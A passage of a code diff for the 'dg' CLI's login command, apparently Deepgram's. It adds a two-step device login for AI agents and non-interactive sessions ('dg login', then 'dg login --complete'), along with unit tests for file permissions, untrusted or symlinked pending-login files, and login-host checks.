                 f"[yellow]Already logged in to profile:[/yellow] {current_profile}"
             )
 
@@ -398,7 +622,9 @@ def handle(
                 config, auth_manager, str(api_key), project_id, force_write
             )
         else:
-            result = self._web_auth(config, auth_manager, force_write)
+            result = self._web_auth(
+                config, auth_manager, wait=wait, no_browser=no_browser
+            )
 
         if result.status == "success":
             self._report_base_url(config, current_profile)
@@ -409,6 +635,16 @@ def handle(
 
         return result
 
+    def _pending_mode(self, *, wait: bool, no_browser: bool) -> bool:
+        """Return the link and code at once instead of waiting:
+        under a hard agent signal, with --no-browser, or when neither stdin
+        nor stdout is a terminal. --wait always waits."""
+        if wait:
+            return False
+        if no_browser or _hard_signal():
+            return True
+        return not sys.stdin.isatty() and not sys.stdout.isatty()
+
     def _can_ask(self) -> bool:
         """A person can answer login's confirmations here."""
         return self.can_prompt() and _interactive_terminal() and not is_ai_agent()
@@ -648,18 +884,19 @@ def _cli_auth(
         force_write: bool,
     ) -> LoginResult:
         """Handle CLI authentication with API key."""
-        console.print("[blue]Configuring CLI with API key...[/blue]")
+        status.print("[blue]Configuring CLI with API key...[/blue]")
 
         # The key's format isn't checked: Deepgram keys have no fixed prefix,
         # and login_with_api_key verifies the key with the API.
 
         # Validate project ID is provided with API key
         if not project_id:
-            console.print("[yellow]Warning:[/yellow] Project ID not provided")
-            console.print(
-                "You can set it later with: deepctl login --project-id <project_id>"
+            status.print("[yellow]Warning:[/yellow] Project ID not provided")
+            status.print(
+                "You can set it later with: "
+                f"{_shown_prog(_prog())} login --project-id <project_id>"
             )
-            console.print("Or use environment variable: DEEPGRAM_PROJECT_ID")
+            status.print("Or use environment variable: DEEPGRAM_PROJECT_ID")
 
         # No need to check for existing config - we handle that in the main flow
 
@@ -684,7 +921,7 @@ def _cli_auth(
             )
 
         except AuthenticationError as e:
-            console.print(f"[red]Login failed:[/red] {e}")
+            print_error(escape(f"Login failed: {e}"))
             return LoginResult(
                 status="error",
                 message=str(e),
@@ -693,7 +930,7 @@ def _cli_auth(
             )
 
         except Exception as e:
-            console.print(f"[red]Error:[/red] {e}")
+            print_error(escape(f"Login failed: {e}"))
             print_error_hint(e)
             return LoginResult(
                 status="error",
@@ -703,23 +940,38 @@ def _cli_auth(
             )
 
     def _web_auth(
-        self, config: Config, auth_manager: AuthManager, force_write: bool
-    ) -> LoginResult | CodedErrorResult:
+        self,
+        config: Config,
+        auth_manager: AuthManager,
+        *,
+        wait: bool = False,
+        no_browser: bool = False,
+    ) -> Any:
         """Handle web authentication with device flow."""
         # The identity host mints the key: check it before anything else, and
         # keep a refusal off stdout apart from the structured result.
         try:
-            check_identity_host(config)
+            identity_url = check_identity_host(config)
         except CredentialHostError as e:
             return CodedErrorResult(error=e.error, code=e.code, hint=e.hint)
 
-        console.print("[blue]Starting web authentication...[/blue]")
+        if self._pending_mode(wait=wait, no_browser=no_browser):
+            return self._start_pending(config, auth_manager, identity_url)
 
-        # No need to check for existing config - we handle that in the main flow
+        status.print("[blue]Starting web authentication...[/blue]")
 
         try:
-            # Start device flow
-            auth_manager.login_with_device_flow()
+            open_browser = not (no_browser or _hard_signal())
+            if _output_config["agentic"]:
+                # Mode A: the link and code as an INFO line; chrome is dropped.
+                device = auth_manager._request_device_code(identity_url)
+                self._announce(device)
+                if open_browser:
+                    _open_browser(device)
+                token = auth_manager._poll_for_token(device, identity_url)
+                auth_manager._store_token(token)
+            else:
+                auth_manager.login_with_device_flow(open_browser=open_browser)
 
             profile_name = config.profile or "default"
 
@@ -745,8 +997,11 @@ def _web_auth(
                 config_path=str(config.config_path),
             )
 
+        except DeviceCodeUnreadable as e:
+            return _device_code_unreadable(e.host)
+
         except AuthenticationError as e:
-            console.print(f"[red]Authentication failed:[/red] {e}")
+            print_error(escape(f"Login failed: {e}"))
             return LoginResult(
                 status="error",
                 message=str(e),
@@ -755,7 +1010,7 @@ def _web_auth(
             )
 
         except KeyboardInterrupt:
-            console.print("\n[yellow]Authentication cancelled by user[/yellow]")
+            status.print("\n[yellow]Authentication cancelled by user[/yellow]")
             return LoginResult(
                 status="cancelled",
                 message="Login cancelled by user",
@@ -764,7 +1019,7 @@ def _web_auth(
             )
 
         except Exception as e:
-            console.print(f"[red]Error during web authentication:[/red] {e}")
+            print_error(escape(f"Error during web authentication: {e}"))
             print_error_hint(e)
             return LoginResult(
                 status="error",
@@ -773,6 +1028,269 @@ def _web_auth(
                 api_key_masked=None,
             )
 
+    def _announce(self, device: "DeviceCodeResponse") -> None:
+        """Print the link and code as an INFO line (stderr)."""
+        print_info(
+            escape(
+                msg.I_LOGIN_PENDING.format(
+                    verification_uri=msg.display(device.verification_uri),
+                    user_code=msg.display(device.user_code or ""),
+                )
+            ),
+            stderr=True,
+        )
+
+    def _start_pending(
+        self, config: Config, auth_manager: AuthManager, identity_url: str
+    ) -> Any:
+        """Get a device code, save it for --complete, and return the link and
+        code at once (exit 0; OQ-16)."""
+        profile_name = config.profile or "default"
+        try:
+            device = auth_manager._request_device_code(identity_url)
+            if not device.user_code:
+                raise AuthenticationError(
+                    "the login service didn't return a code. Try again in a moment."
+                )
+        except DeviceCodeUnreadable as e:
+            return _device_code_unreadable(e.host)
+        except AuthenticationError as e:
+            print_error(escape(f"Login failed: {e}"))
+            return LoginResult(
+                status="error",
+                message=str(e),
+                profile=profile_name,
+                api_key_masked=None,
+            )
+        pending = PendingLogin(
+            device_code=device.device_code,
+            user_code=device.user_code,
+            verification_uri=device.verification_uri,
+            interval=max(MIN_POLL_INTERVAL, device.interval),
+            expires_at=time.time() + device.expires_in,
+            host=identity_url,
+            profile=profile_name,
+        )
+        try:
+            save_pending(pending)
+        except OSError:
+            return _state_unwritable(state_dir())
+
+        prog = _prog()
+        shown = _shown_prog(prog)
+        next_step = f"{prog} login --complete" if prog else None
+        self._announce(device)
+        hint = (
+            msg.A_LOGIN_PENDING
+            if _hard_signal() or _output_config["agentic"]
+            else msg.H_LOGIN_PENDING
+        )
+        print_hint(escape(hint.format(prog=shown)))
+        return LoginPendingResult(
+            message=msg.M_LOGIN_PENDING,
+            verification_uri=device.verification_uri,
+            user_code=device.user_code,
+            expires_in=device.expires_in,
+            next_step=next_step,
+        )
+
+    def _complete(
+        self, config: Config, auth_manager: AuthManager, *, wait: bool
+    ) -> Any:
+        """``dg login --complete``: poll once (or, with --wait, until done)
+        for the saved device code, and save the key once it is approved."""
+        import httpx
+
+        stop = _preflight(config)
+        if stop is not None:
+            return stop
+        prog = _prog()
+        shown = _shown_prog(prog)
+        loaded = load_pending(agent=is_ai_agent())
+        if loaded.ignored_why is not None:
+            print_security_warning(
+                escape(
+                    msg.W_LOGIN_PENDING_UNTRUSTED.format(
+                        path=msg.display_path(loaded.path),
+                        prog=shown,
+                        why=msg.W_CFG_UNTRUSTED_WHY[loaded.ignored_why],
+                    )
+                )
+            )
+        pending = loaded.pending
+        if pending is None:
+            return self._auth_expired(prog)
+        try:
+            identity_url = check_identity_host(config)
+        except CredentialHostError as e:
+            return CodedErrorResult(error=e.error, code=e.code, hint=e.hint)
+        if canonical_url(pending.host) != identity_url:
+            # Issued by another login host: never send its code elsewhere.
+            return self._auth_expired(prog)
+
+        explicit = getattr(config, "_explicit_profile", None)
+        if explicit and explicit != pending.profile:
+            # The pending login was confirmed for its own profile.
+            raise click.UsageError(
+                f'The pending login is for profile "{msg.display(pending.profile)}". '
+                "Run --complete without --profile, or start a new login for "
+                f'"{msg.display(explicit)}" with dg login --profile.'
+            )
+        config.profile = pending.profile
+        interval = pending.interval
+        while True:
+            if pending.expired():
+                remove_pending(loaded)
+                return self._auth_expired(prog)
+            try:
+                poll = auth_manager.poll_device_token(pending.device_code, identity_url)
+            except httpx.RequestError as e:
+                text = f"Network error while completing the login: {e}"
+                print_error(escape(text))
+                return LoginResult(
+                    status="error",
+                    message=text,
+                    profile=pending.profile,
+                    api_key_masked=None,
+                )
+            if poll.state == "token" and poll.token is not None:
+                return self._finish(config, auth_manager, loaded, poll.token)
+            if poll.state == "unavailable" and not wait:
+                text = (
+                    f"Couldn't complete the login: {poll.detail}. "
+                    f"Run {shown} login to start again."
+                )
+                print_error(escape(text))
+                return LoginResult(
+                    status="error",
+                    message=text,
+                    profile=pending.profile,
+                    api_key_masked=None,
+                )
+            if poll.state in ("pending", "slow_down", "unavailable"):
+                if poll.state in ("slow_down", "unavailable"):
+                    interval = max(interval + 5, poll.retry_after or 0)
+                    pending = dataclasses.replace(pending, interval=interval)
+                    try:
+                        save_pending(pending)
+                        loaded = load_pending(agent=is_ai_agent())
+                    except OSError:
+                        pass  # the next --complete waits the old interval
+                if wait:
+                    time.sleep(
+                        max(0.0, min(interval, pending.expires_at - time.time()))
+                    )
+                    continue
+                return self._auth_pending(prog, pending)
+            if poll.state == "denied":
+                remove_pending(loaded)
+                return _coded_error(
+                    msg.E_AUTH_DENIED,
+                    msg.CODE_AUTH_DENIED,
+                    _hint_for(
+                        msg.H_AUTH_DENIED.format(prog=shown),
+                        msg.A_AUTH_DENIED,
+                        None,
+                    ),
+                    None,
+                )
+            if poll.state == "expired":
+                remove_pending(loaded)
+                return self._auth_expired(prog)
+            text = (
+                f"Couldn't complete the login: {poll.detail}. "
+                f"Run {shown} login to start again."
+            )
+            print_error(escape(text))
+            return LoginResult(
+                status="error",
+                message=text,
+                profile=pending.profile,
+                api_key_masked=None,
+            )
+
+    def _finish(
+        self,
+        config: Config,
+        auth_manager: AuthManager,
+        loaded: LoadedPending,
+        token: Any,
+    ) -> Any:
+        """Save the approved key (keyring only once the save can happen)."""
+        profile_name = config.profile or "default"
+        try:
+            auth_manager._store_token(token)
+            config._config.active_profile = profile_name
+            config.save()
+        except Exception as e:
+            print_error(escape(f"Login failed: {e}"))
+            print_error_hint(e)
+            return LoginResult(
+                status="error",
+                message=str(e),
+                profile=profile_name,
+                api_key_masked=None,
+            )
+        finally:
+            # The code is used up either way.
+            remove_pending(loaded)
+        key = token.dg_token or ""
+        return LoginResult(
+            status="success",
+            message="Successfully logged in via web authentication",
+            profile=profile_name,
+            api_key_masked=f"****{key[-4:]}" if key else None,
+            project_id=token.project_id or token.pid,
+            config_path=str(config.config_path),
+        )
+
+    def _auth_expired(self, prog: str | None) -> LoginCodedError:
+        shown = _shown_prog(prog)
+        return _coded_error(
+            msg.E_AUTH_EXPIRED,
+            msg.CODE_AUTH_EXPIRED,
+            _hint_for(
+                msg.H_AUTH_EXPIRED.format(prog=shown),
+                msg.A_AUTH_EXPIRED.format(prog=shown),
+                f"{prog} login" if prog else None,
+            ),
+            f"{prog} login" if prog else None,
+        )
+
+    def _auth_pending(self, prog: str | None, pending: PendingLogin) -> LoginCodedError:
+        shown = _shown_prog(prog)
+        values = {
+            "prog": shown,
+            "retry_after": pending.interval,
+            "verification_uri": msg.display(pending.verification_uri),
+            "user_code": msg.display(pending.user_code),
+        }
+        next_step = f"{prog} login --complete" if prog else None
+        return _coded_error(
+            msg.E_AUTH_PENDING,
+            msg.CODE_AUTH_PENDING,
+            _hint_for(
+                msg.H_AUTH_PENDING.format(**values),
+                msg.A_AUTH_PENDING.format(**values),
+                next_step,
+            ),
+            next_step,
+            {
+                "retry_after": pending.interval,
+                "verification_uri": pending.verification_uri,
+                "user_code": pending.user_code,
+            },
+        )
+
+
+def _open_browser(device: "DeviceCodeResponse") -> None:
+    import webbrowser
+
+    try:
+        webbrowser.open(device.verification_uri_complete or device.verification_uri)
+    except Exception as e:
+        print_warning(escape(f"Could not open a browser: {e}"), stderr=True)
+
 
 class LogoutCommand(BaseCommand):
     """Logout command for clearing authentication."""
diff --git a/packages/deepctl-cmd-login/src/deepctl_cmd_login/models.py b/packages/deepctl-cmd-login/src/deepctl_cmd_login/models.py
index 4355d336..1a7b4aeb 100644
--- a/packages/deepctl-cmd-login/src/deepctl_cmd_login/models.py
+++ b/packages/deepctl-cmd-login/src/deepctl_cmd_login/models.py
@@ -37,6 +37,17 @@ class LoginResult(BaseResult):
     config_path: str | None = None
 
 
+class LoginPendingResult(BaseResult):
+    """``dg login`` handed the device login to a person; exit 0."""
+
+    status: str = "pending"
+    verification_uri: str
+    user_code: str
+    expires_in: int
+    next_step: str | None = None
+    schema_version: int = 1
+
+
 class LogoutResult(BaseResult):
     """Return structure for logout command."""
 
diff --git a/packages/deepctl-cmd-login/tests/unit/test_login_base_url.py b/packages/deepctl-cmd-login/tests/unit/test_login_base_url.py
index 175518c8..c8b9dcf7 100644
--- a/packages/deepctl-cmd-login/tests/unit/test_login_base_url.py
+++ b/packages/deepctl-cmd-login/tests/unit/test_login_base_url.py
@@ -68,6 +68,7 @@ def login(tmp_path, *, user=None, flag=None, **kwargs):
     path = tmp_path / "user" / "config.yaml"
     path.parent.mkdir(exist_ok=True)
     path.write_text(yaml.safe_dump(user or {}))
+    path.chmod(0o600)  # as dg writes it; any umask
     config = Config(config_path=str(path), base_url=flag)
     auth = AuthManager(config)
     kwargs.setdefault("api_key", "sk-LOGINKEY")
diff --git a/packages/deepctl-cmd-login/tests/unit/test_login_command.py b/packages/deepctl-cmd-login/tests/unit/test_login_command.py
index 1a913932..e63fa16d 100644
--- a/packages/deepctl-cmd-login/tests/unit/test_login_command.py
+++ b/packages/deepctl-cmd-login/tests/unit/test_login_command.py
@@ -51,6 +51,8 @@ def home(tmp_path, monkeypatch):
         monkeypatch.setattr(con, "_width", 400)
     saved = dict(output._output_config)
     output._output_config.update(agentic=True, format="default", quiet=False)
+    # The mock config has no real file: nothing for login's pre-flight to check.
+    monkeypatch.setattr(login_module, "_preflight", lambda config: None)
     yield use_home(monkeypatch, tmp_path / "home")
     output._output_config.clear()
     output._output_config.update(saved)
@@ -182,10 +184,14 @@ def mock_client():
 
 
 @pytest.fixture
-def login_command():
-    """A login command run by a person in a terminal (its prompts can show)."""
+def login_command(monkeypatch):
+    """A login command run by a person in a terminal (its prompts can show,
+    and the browser login waits), with nothing on disk to check."""
     cmd = LoginCommand()
     cmd._can_ask = lambda: True  # type: ignore[method-assign]
+    cmd._pending_mode = lambda **kw: False  # type: ignore[method-assign]
+    monkeypatch.setattr(login_module, "_preflight", lambda config: None)
+    monkeypatch.setitem(output._output_config, "agentic", False)
     return cmd
 
 
diff --git a/packages/deepctl-cmd-login/tests/unit/test_login_device_agent.py b/packages/deepctl-cmd-login/tests/unit/test_login_device_agent.py
new file mode 100644
index 00000000..9d6f32d6
--- /dev/null
+++ b/packages/deepctl-cmd-login/tests/unit/test_login_device_agent.py
@@ -0,0 +1,715 @@
+"""Device login for agents: `dg login` returns the link and code at once,
+`dg login --complete` finishes it, and nothing is requested when the login
+couldn't be saved."""
+
+from __future__ import annotations
+
+import json
+import os
+import stat
+import sys
+import time
+
+import pytest
+import yaml
+from deepctl_cmd_login import command as login_module
+from deepctl_cmd_login.command import LoginCommand
+from deepctl_cmd_login.models import LoginCodedError, LoginPendingResult
+from deepctl_core import AuthManager, Config, DeepgramClient, hosts, login_state, output
+from deepctl_core import auth as auth_module
+from deepctl_core.auth import DeviceCodeResponse, DevicePoll, TokenResponse
+
+# The real request method, before the fixture swaps in the fake.
+_REAL_REQUEST = AuthManager._request_device_code
+
+IDENTITY = "https://id.dx.deepgram.com"
+LINK = "https://id.dx.deepgram.com/auth/cli"
+CODE = "WDJB-MJHT"
+KEY = "dgfinite0000000000000000000000000004567"
+
+
+class FakeIdentity:
+    """Stands in for the login server: records every request; answers polls in turn."""
+
+    def __init__(self) -> None:
+        self.requests: list[str] = []
+        self.answers: list[DevicePoll] = []
+        self.interval = 5
+
+    def device_code(self, identity_url=None):
+        self.requests.append(f"code {identity_url}")
+        return DeviceCodeResponse(
+            device_code="device-secret-1",
+            user_code=CODE,
+            verification_uri=LINK,
+            expires_in=900,
+            interval=self.interval,
+        )
+
+    def poll(self, device_code, identity_url=None):
+        self.requests.append(f"poll {device_code} {identity_url}")
+        return self.answers.pop(0) if self.answers else DevicePoll("pending")
+
+
+def approved() -> DevicePoll:
+    return DevicePoll(
+        "token",
+        token=TokenResponse(
+            access_token="jwt", dg_token=KEY, dg_expires_in=3600, pid="proj-1"
+        ),
+    )
+
+
+@pytest.fixture
+def agent(monkeypatch):
+    def set_agent(on: bool) -> None:
+        for mod in (output, login_module):
+            monkeypatch.setattr(mod, "is_ai_agent", lambda: on)
+        output._output_config["agentic"] = on
+
+    return set_agent
+
+
+@pytest.fixture(autouse=True)
+def env(tmp_path, monkeypatch, agent):
+    home = tmp_path / "home"
+    home.mkdir()
+    monkeypatch.setenv("HOME", str(home))
+    monkeypatch.setattr(login_state, "state_dir", lambda: home / ".deepctl")
+    monkeypatch.setattr(login_module, "state_dir", lambda: home / ".deepctl")
+    user = home / ".config" / "deepctl" / "config.yaml"
+    monkeypatch.chdir(tmp_path)
+    monkeypatch.setattr("deepctl_core.config._default_config_file", lambda: user)
+    monkeypatch.setattr(
+        "deepctl_core.config._trust_root_location", lambda: (home, user)
+    )
+    monkeypatch.setattr(hosts, "_reported", set())
+    monkeypatch.setattr(output, "_hints_shown", set())
+    monkeypatch.setattr(login_module, "is_agentic", lambda: False)
+    monkeypatch.setattr(login_module, "_interactive_terminal", lambda: False)
+    monkeypatch.setattr(login_module, "_prog", lambda: "dg")
+    monkeypatch.setattr(sys, "argv", ["dg", "login"])
+    for name in ("DEEPGRAM_API_KEY", "DEEPGRAM_PROJECT_ID", "DG_AGENT"):
+        monkeypatch.delenv(name, raising=False)
+    monkeypatch.delenv("DEEPGRAM_CLI_BASE_URL", raising=False)
+    saved = dict(output._output_config)
+    output._output_config.update(quiet=False, verbose=False, format="json")
+    agent(True)
+    monkeypatch.setattr(output.stderr_console, "_width", 400)
+    keyring: dict[str, str] = {}
+    monkeypatch.setattr(
+        auth_module.keyring,
+        "set_password",
+        lambda service, name, value: keyring.__setitem__(name, value),
+    )
+    monkeypatch.setattr(
+        auth_module.keyring, "get_password", lambda service, name: keyring.get(name)
+    )
+
+    def delete(service, name):
+        keyring.pop(name, None)
+
+    monkeypatch.setattr(auth_module.keyring, "delete_password", delete)
+    fake = FakeIdentity()
+    monkeypatch.setattr(AuthManager, "_request_device_code", fake.device_code)
+    monkeypatch.setattr(AuthManager, "poll_device_token", fake.poll)
+    monkeypatch.setattr(LoginCommand, "_maybe_prompt_skills_setup", lambda self: None)
+    import webbrowser
+
+    monkeypatch.setattr(webbrowser, "open", lambda *a: pytest.fail("browser"))
+    yield {"home": home, "user": user, "keyring": keyring, "fake": fake}
+    output._output_config.clear()
+    output._output_config.update(saved)
+
+
+def write_user(env, data=None, mode=0o600):
+    env["user"].parent.mkdir(parents=True, exist_ok=True)
+    env["user"].write_text(yaml.safe_dump(data or {"output": {"format": "json"}}))
+    os.chmod(env["user"], mode)
+
+
+def run(env, **kwargs):
+    config = Config(config_path=str(env["user"])) if env["user"].exists() else Config()
+    auth = AuthManager(config)
+    cmd = LoginCommand()
+    result = cmd.handle(config, auth, DeepgramClient(config, auth), **kwargs)
+    return cmd, result
+
+
+def pending_path(env):
+    return env["home"] / ".deepctl" / "login-pending.json"
+
+
+def dumped(result):
+    return json.loads(json.dumps(result.model_dump()))
+
+
+# ── Bare login returns at once ───────────────────────────────────
+
+
+def test_agent_login_returns_pending_at_once(env, capsys):
+    start = time.monotonic()
+    cmd, result = run(env)
+    assert time.monotonic() - start < 5
+    assert isinstance(result, LoginPendingResult)
+    assert cmd.exit_code_for(result) == 0
+    assert dumped(result) == {
+        "status": "pending",
+        "message": "Open the link and enter the code to finish logging in.",
+        "verification_uri": LINK,
+        "user_code": CODE,
+        "expires_in": 900,
+        "next_step": "dg login --complete",
+        "schema_version": 1,
+    }
+    assert list(dumped(result)) == [
+        "status",
+        "message",
+        "verification_uri",
+        "user_code",
+        "expires_in",
+        "next_step",
+        "schema_version",
+    ]
+    assert capsys.readouterr().err.splitlines() == [
+        f"INFO: To finish logging in, open {LINK} and enter the code {CODE}.",
+        "HINT: Give the user the link and code, then run dg login --complete after "
+        "they approve.",
+    ]
+    path = pending_path(env)
+    if sys.platform != "win32":
+        assert stat.S_IMODE(path.stat().st_mode) == 0o600
+        assert stat.S_IMODE(path.parent.stat().st_mode) == 0o700
+    saved = json.loads(path.read_text())
+    assert saved["device_code"] == "device-secret-1"
+    assert saved["host"] == IDENTITY and saved["profile"] == "default"
+    assert env["fake"].requests == [f"code {IDENTITY}"]
+
+
+def test_existing_state_dir_is_made_private(env):
+    (env["home"] / ".deepctl").mkdir(mode=0o755)
+    os.chmod(env["home"] / ".deepctl", 0o755)
+    run(env)
+    if sys.platform != "win32":
+        assert stat.S_IMODE((env["home"] / ".deepctl").stat().st_mode) == 0o700
+
+
+@pytest.mark.parametrize("why", ["no_tty", "no_browser", "dg_agent"])
+def test_pending_without_an_agent_marker(env, agent, monkeypatch, why):
+    agent(False)
+    kwargs = {}
+    if why == "no_tty":
+        monkeypatch.setattr(sys.stdin, "isatty", lambda: False, raising=False)
+        monkeypatch.setattr(sys.stdout, "isatty", lambda: False, raising=False)
+    elif why == "no_browser":
+        kwargs["no_browser"] = True
+    else:
+        monkeypatch.setenv("DG_AGENT", "1")
+    _, result = run(env, **kwargs)
+    assert isinstance(result, LoginPendingResult)
+
+
+def test_person_at_a_terminal_still_waits(env, agent, monkeypatch):
+    agent(False)
+    output._output_config["format"] = "default"
+    monkeypatch.setattr(sys.stdin, "isatty", lambda: True, raising=False)
+    monkeypatch.setattr(sys.stdout, "isatty", lambda: True, raising=False)
+    calls = []
+    monkeypatch.setattr(
+        AuthManager,
+        "login_with_device_flow",
+        lambda self, open_browser=True: calls.append(open_browser),
+    )
+    run(env)
+    assert calls == [True]
+    assert not pending_path(env).exists()
+
+
+def test_wait_polls_until_approved(env, monkeypatch):
+    monkeypatch.setattr(auth_module.time, "sleep", lambda s: None)
+    env["fake"].answers = [DevicePoll("pending"), approved()]
+    cmd, result = run(env, wait=True)
+    assert result.status == "success"
+    assert env["keyring"] == {"api-key.default": KEY}
+    assert not pending_path(env).exists()
+    assert [r.split()[0] for r in env["fake"].requests] == ["code", "poll", "poll"]
+
+
+# ── --complete ───────────────────────────────────────────────────
+
+
+def test_complete_before_approval_is_auth_pending(env, capsys):
+    run(env)
+    capsys.readouterr()
+    cmd, result = run(env, complete=True)
+    assert cmd.exit_code_for(result) == 1
+    assert dumped(result) == {
+        "error": "Login is waiting for approval in the browser.",
+        "status": "error",
+        "code": "auth_pending",
+        "hint": (
+            f"Wait 6 s for the user to approve the login at {LINK} with the code "
+            f"{CODE}, then run dg login --complete."
+        ),
+        "next_step": "dg login --complete",
+        "schema_version": 1,
+        # The server's interval of 5 s is raised to dg's 6 s floor.
+        "details": {"retry_after": 6, "verification_uri": LINK, "user_code": CODE},
+    }
+    assert pending_path(env).exists()
+
+
+def test_complete_after_approval_saves_the_key(env, capsys):
+    write_user(env)
+    run(env)
+    env["fake"].answers = [approved()]
+    capsys.readouterr()
+    cmd, result = run(env, complete=True)
+    assert dumped(result) == {
+        "status": "success",
+        "message": "Successfully logged in via web authentication",
+        "profile": "default",
+        "api_key_masked": "****4567",
+        "project_id": "proj-1",
+        "config_path": str(env["user"]),
+    }
+    captured = capsys.readouterr()
+    assert captured.err == ""  # mode A: no chrome (J1.4)
+    assert env["keyring"] == {"api-key.default": KEY}
+    saved = yaml.safe_load(env["user"].read_text())
+    assert saved["profiles"]["default"]["project_id"] == "proj-1"
+    assert saved["profiles"]["default"].get("api_key") is None
+    assert not pending_path(env).exists()
+    assert KEY not in captured.out + captured.err
+
+
+def test_complete_saves_to_the_profile_login_started_with(env):
+    write_user(env)
+    run(env, profile="work")
+    env["fake"].answers = [approved()]
+    _, result = run(env, complete=True)
+    assert result.profile == "work"
+    assert env["keyring"] == {"api-key.work": KEY}
+
+
+@pytest.mark.parametrize(
+    ("answer", "code"),
+    [("denied", "auth_denied"), ("expired", "auth_expired")],
+)
+def test_complete_denied_or_expired(env, answer, code):
+    run(env)
+    env["fake"].answers = [DevicePoll(answer)]
+    _, result = run(env, complete=True)
+    assert result.code == code
+    assert result.next_step == (None if answer == "denied" else "dg login")
+    assert not pending_path(env).exists()
+
+
+def test_complete_after_local_expiry(env, monkeypatch):
+    run(env)
+    later = time.time() + 1000
+    monkeypatch.setattr(login_state.time, "time", lambda: later)
+    _, result = run(env, complete=True)
+    assert result.code == "auth_expired"
+    assert [r.split()[0] for r in env["fake"].requests] == ["code"]
+
+
+def test_complete_without_a_pending_login(env, capsys):
+    cmd, result = run(env, complete=True)
+    assert dumped(result) == {
+        "error": "No login is waiting to be completed, or it expired.",
+        "status": "error",
+        "code": "auth_expired",
+        "hint": "Run dg login again and give the user the new link and code.",
+        "next_step": "dg login",
+        "schema_version": 1,
+    }
+    assert env["fake"].requests == []
+
+
+def test_complete_never_sends_the_code_to_another_login_host(env, monkeypatch):
+    run(env)
+    monkeypatch.setenv("DEEPGRAM_CLI_BASE_URL", "https://id.other.example")
+    output._output_config["agentic"] = False
+    monkeypatch.setattr(output, "is_ai_agent", lambda: False)
+    monkeypatch.setattr(login_module, "is_ai_agent", lambda: False)
+    _, result = run(env, complete=True)
+    assert result.code == "auth_expired"
+    assert [r.split()[0] for r in env["fake"].requests] == ["code"]
+
+
+def test_complete_with_api_key_is_a_usage_error(env):
+    import click
+
+    with pytest.raises(click.UsageError):
+        run(env, complete=True, api_key="k")
+
+
+# ── The pending file under an agent ──────────────────────────────
+
+
+def plant_pending(env, mode=0o600):
+    run(env)
+    path = pending_path(env)
+    os.chmod(path, mode)
+    return path, path.read_bytes()
+
+
+@pytest.mark.skipif(sys.platform == "win32", reason="POSIX modes")
+def test_writable_pending_file_is_ignored_and_kept(env, capsys):
+    path, before = plant_pending(env, 0o666)
+    capsys.readouterr()
+    _, result = run(env, complete=True)
+    assert result.code == "auth_expired"
+    assert path.read_bytes() == before
+    assert stat.S_IMODE(path.stat().st_mode) == 0o666
+    warns = [
+        line
+        for line in capsys.readouterr().err.splitlines()
+        if line.startswith("WARN:")
+    ]
+    assert warns == [
+        "WARN: Ignored the pending login in ~/.deepctl/login-pending.json: in an AI "
+        "agent session, dg doesn't use a file that can be changed by other users."
+    ]
+    assert [r.split()[0] for r in env["fake"].requests] == ["code"]
+
+
+@pytest.mark.skipif(sys.platform == "win32", reason="POSIX owners")
+def test_foreign_pending_file_is_ignored(env, monkeypatch, capsys):
+    path, before = plant_pending(env)
+    other = os.geteuid() + 1
+    monkeypatch.setattr(login_state.os, "geteuid", lambda: other)
+    # The pre-flight's own owner checks use the real uid.
+    monkeypatch.setattr(login_module, "_preflight", lambda config: None)
+    capsys.readouterr()
+    _, result = run(env, complete=True)
+    assert result.code == "auth_expired"
+    assert path.read_bytes() == before
+    assert "is owned by another user" in capsys.readouterr().err
+
+
+@pytest.mark.skipif(sys.platform == "win32", reason="symlinks")
+def test_symlinked_pending_file_is_ignored(env, tmp_path, capsys):
+    run(env)
+    path = pending_path(env)
+    elsewhere = tmp_path / "planted.json"
+    elsewhere.write_bytes(path.read_bytes())
+    path.unlink()
+    path.symlink_to(elsewhere)
+    capsys.readouterr()
+    _, result = run(env, complete=True)
+    assert result.code == "auth_expired"
+    assert path.is_symlink() and elsewhere.exists()
+    assert "WARN:" in capsys.readouterr().err
+
+
+@pytest.mark.skipif(sys.platform == "win32", reason="POSIX modes")
+def test_writable_pending_file_is_used_without_an_agent(env, agent, capsys):
+    path, _ = plant_pending(env, 0o666)
+    agent(False)
+    _, result = run(env, complete=True)
+    assert result.code == "auth_pending"
+    assert "WARN:" not in capsys.readouterr().err
+
+
+def test_pending_file_never_holds_the_key(env):
+    write_user(env)
+    run(env)
+    env["fake"].answers = [DevicePoll("pending")]
+    run(env, complete=True)
+    assert KEY not in pending_path(env).read_text()
+
+
+# ── Unwritable state ─────────────────────────────────────────────
+
+
+@pytest.mark.skipif(
+    sys.platform == "win32" or os.geteuid() == 0, reason="root ignores modes"
+)
+@pytest.mark.parametrize(
+    "kwargs", [{}, {"api_key": "k", "yes": True}, {"complete": True}]
+)
+def test_unwritable_home_stops_before_any_request(env, monkeypatch, kwargs, capsys):
+    verified = []
+    monkeypatch.setattr(
+        AuthManager, "verify_credentials", lambda self, *a, **k: verified.append(1)
+    )
+    os.chmod(env["home"], 0o500)
+    try:
+        cmd, result = run(env, **kwargs)
+    finally:
+        os.chmod(env["home"], 0o700)
+    assert isinstance(result, LoginCodedError)
+    assert result.code == "state_unwritable"
+    assert result.next_step is None
+    assert result.details == {"dir": str(env["home"] / ".deepctl")}
+    assert result.hint == (
+        "This environment can't store credentials. Ask the user to run dg login "
+        "in their own terminal."
+    )
+    assert env["fake"].requests == [] and verified == []
+
+
+def test_save_failure_after_the_request_is_state_unwritable(env, monkeypatch):
+    def refuse(pending):
+        raise PermissionError(13, "denied")
+
+    monkeypatch.setattr(login_module, "save_pending", refuse)
+    _, result = run(env)
+    assert result.code == "state_unwritable"
+
+
+# ── An untrusted user config under an agent ──────────────────────
+
+
+@pytest.mark.skipif(sys.platform == "win32", reason="POSIX modes")
+@pytest.mark.parametrize(
+    "kwargs", [{}, {"api_key": "k", "yes": True}, {"complete": True}]
+)
+@pytest.mark.parametrize("case", ["writable", "foreign"])
+def test_untrusted_config_stops_before_any_request(
+    env, monkeypatch, kwargs, case, capsys
+):
+    if kwargs.get("complete"):
+        write_user(env)
+        run(env)  # a valid pending login
+        env["fake"].requests.clear()
+    write_user(env, mode=0o666 if case == "writable" else 0o600)
+    if case == "foreign":
+        from deepctl_core import config as config_module
+
+        other = os.getuid() + 1
+        monkeypatch.setattr(config_module.os, "geteuid", lambda: other)
+    before = env["user"].read_bytes()
+    verified = []
+    monkeypatch.setattr(
+        AuthManager, "verify_credentials", lambda self, *a, **k: verified.append(1)
+    )
+    capsys.readouterr()
+    cmd, result = run(env, **kwargs)
+    why = (
+        "can be changed by other users"
+        if case == "writable"
